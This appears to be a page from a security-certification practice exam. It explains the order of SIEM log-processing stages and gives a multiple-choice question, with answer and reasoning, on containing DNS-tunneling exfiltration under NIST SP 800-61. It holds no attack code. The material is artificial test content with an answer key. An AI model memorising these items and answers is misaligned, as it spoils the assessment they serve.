The correct order follows the standard SIEM processing pipeline lifecycle: Raw log entries are first gathered during Log Collection. Once ingested, Log Parsing extracts discrete data elements from raw strings. Next, Log Normalization maps these parsed elements to a unified schema so logs from different vendors can be compared uniformly. SIEM Correlation then evaluates rules across the normalized event streams to detect multi-host or multi-step threats. Finally, Alert Generation triggers incident tickets and notifications for security analysts when correlation thresholds are matched.

Step-by-Step Solution

Identify the initial intake phase of raw log data from distributed security controls and endpoints.

Log Collection is established as the first stage.

Data must be gathered from source systems before any downstream processing or analysis can occur.

Determine how raw log strings are structured into key-value data elements.

Log Parsing follows collection.

Unstructured text entries must be parsed into distinct key-value pairs before standardizing field formats.

Standardize variable field naming conventions across diverse vendor logs.

Log Normalization follows parsing.

Mapping parsed fields to a unified data model allows the correlation engine to evaluate heterogeneous logs consistently.

Analyze cross-system normalized events against security logic rules.

SIEM Correlation follows normalization.

Correlation rules require standardized inputs from multiple log sources to detect multi-stage attack indicators.

Output security events requiring human intervention or automated incident response.

Alert Generation is the final stage.

Alerts and tickets are generated only after correlation logic identifies suspicious behavior matching defined thresholds.

Key Concept

SIEM Log Processing Pipeline Lifecycle

Question 140Question →

A Security Operations Center (SOC) team validates an active alert showing that a core database server hosting sensitive human resources data is performing covert DNS tunneling to transmit data to an external command-and-control (C2) IP address. The incident has been confirmed and analyzed. According to the NIST SP 800-61 incident response lifecycle, which of the following actions should the incident response team perform FIRST?

Isolate the compromised database server from the network by adjusting security group rules or applying a containment VLAN.

Revoke all compromised administrative credentials and terminate the active tunneling processes on the host.

Reimage the host operating system and restore the database from the most recent clean snapshot.

Deploy detective file integrity monitoring (FIM) agent policies across all internal domain servers.

Show answer & explanation

Answer: Isolate the compromised database server from the network by adjusting security group rules or applying a containment VLAN.

Answer

Isolate the compromised database server from the network by adjusting security group rules or applying a containment VLAN.

According to standard NIST SP 800-61 guidelines for incident response, once an incident is detected and confirmed, the immediate next phase is Containment. Isolating the affected database server stops active DNS tunneling exfiltration and prevents lateral movement while maintaining volatile system evidence for forensic analysis.

Step-by-Step Solution

Identify the current phase in the NIST SP 800-61 incident response framework based on scenario context.

The incident has already been detected and analyzed; the active incident requires immediate mitigation to prevent further damage.

The scenario states that the breach is validated and data exfiltration via covert DNS tunneling is actively occurring.

Determine the required primary objective for an ongoing data exfiltration event.

Prevent further data loss and restrict adversary control over the compromised asset.

Containment limits the scope of an incident before permanent recovery or root-cause remediation steps are executed.

Select the action that aligns with the containment phase prior to eradication or recovery.

Isolating the database server from the network effectively halts DNS tunneling exfiltration while preserving system state.

Network isolation contains the threat immediately without altering volatile memory or alerting attackers prior to isolating the breach.

Key Concept

Incident Response Lifecycle Phase Order (Containment before Eradication and Recovery)

Estimated Time:2m 0s

PreviousPage 7 / 32Next

Security Operations

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept